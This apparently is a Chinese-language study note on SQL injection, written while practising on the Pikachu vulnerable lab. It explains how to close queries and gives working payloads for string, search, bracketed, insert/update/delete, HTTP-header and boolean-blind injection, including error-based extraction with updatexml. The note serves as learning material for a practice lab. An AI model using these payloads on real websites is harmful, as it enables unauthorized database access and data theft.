sql语句在哪里被注入:WEB 表单、cookie、输入参数等
注入点类型:数字、字符、搜索
思路:想象我们填入的参数,后台是怎么操作的,要在原本的sql语句上进行构造,达到闭合。
问题:pikachu抓包时,没有反应,但是应该是有的;
解决:
因为我的代理设置有localhost为直连的,而且当时的pikachu地址是http://localhost/pikachu-master/vul/sqli/sqli_id.php,所以被白名单了;
然后我把pikachu的地址改为ip地址,就可以抓到了!(谁懂啊家人们
(一)数字型
(二)字符型
后台应该是select * from table where username=‘ xxx ’
拼接要注意用注释化 select * from table where username=‘ ‘所以可以填入 kobe’ or 1=1 #
后台是
(三)搜索型注入 (带% %)
模糊搜索
SELECT 字段 FROM 表 WHERE 某字段 LIKE 条件;
在这里应该是select username from user where username like ’%xxx%‘
例子:select * from user where username like '%李张%';
能 查出来包含 李张的内容。
后台是
like ’% name%‘ or 1=1 # % (红色为填的部分)
(四)xx型注入 (带括号)
select uid and email from user where username=‘输入内容’
实际的sql语句是 where username=(‘$name’)
制造闭合: name’) or 1=1 #
union联合查询
(注意:前面有2个字段,第二个select语句也要是2个字段) eg:可以查:database、user、version
order by
SELECT column1, column2, ...from table order by column1, column2, ... ASC|DESC;
(ORDER BY 1 表示 所select 的字段按第一个字段排序,所以order by的数字小于等于select的字段数;如果是直接具体是字段,则不一定要是select里面的字段)
基于函数报错的方式进行利用
一般就是 and updatexml()
eg:updatexml(1,concat(0x7e,version( ) ),0)会返回version信息
updatexml(1,concat(0x7e,database( ) ),0)会返回数据库名字
concat()是将传入的两个参数合并成一个字符串,再打印出来。eg:concat(0x7e,version())
extractvalue(1,concat(0x7e,version()))
select count(*),(floor(rand(0)*2)) as x from 表名 group by x
select 2 from (select count(*),concat(version(),floor))
(五)insert/update型注入
INSERT INTO table (`a`, `b`, `c`, ……) VALUES ('a', 'b', 'c', ……);
insert可用 or concat()作闭合
insert into user(‘name’,‘pwd’,‘address’,‘tel’,‘info’)values(‘xiaohong’,‘1111’,1,2,3,)
insert into user(‘name’,‘pwd’,‘address’,‘tel’,‘info’)values(‘xxx’ or updatexml(1,concat(0x7e,database()),0) or ’ ',‘1111’,1,2,3,)
UPDATE 表名 SET column_name=value [,column_name2=value2,...] [WHEREcondition];
eg:UPDATE `student` SET `studentname`='万进进',`email`='9724759@qq.com' WHERE studentno=1867;
这里的是 update 'user' set 'sex'='man', 'tel'='1222' where name='lucy';
xxx’ or updatexml(1,concat(0x7e,database()),0) or ’
制造闭合:update 'user' set 'sex'='
man' or updatexml(1,concat(0x7e,database()),0) or ' ', 'tel'='1222' where name='lucy';
(六)delete型注入
delete from 'message_table' WHERE id=1;
deletefrom 'message_table' where id= 1 or updatexml(1,concat(0x7e,database()),0)
要对代码进行编辑,所以要抓包; 这个id改完不可以直接用,还要选中进行url解码;
(七)http header 型注入
HTTP Header注入类型包括Cookie注入、Referer注入、User-Agent注入、XFF注入
firefox' or updatexml(1,concat(0x7e,database()),0) or '
(八)盲注(based on boolian:在前端只能看到真或者假的信息,看不到别的东西,所以处理时,也要处理为真/假)
what:屏蔽错误消息信息
substr()
ascii()
ascii()的结果是数字,所以可以进行计算;顺便往判断真假方向调整:eg ascii()>100
可以弄盲注自动化测试,确认字符;
可以用length()计算sql的字符串的长度
也可以用‘kobe’and 1=1 和‘kobe’and 1=2 来看kobe到底存在与否
(九)盲注(based on time)
(十)宽字节注入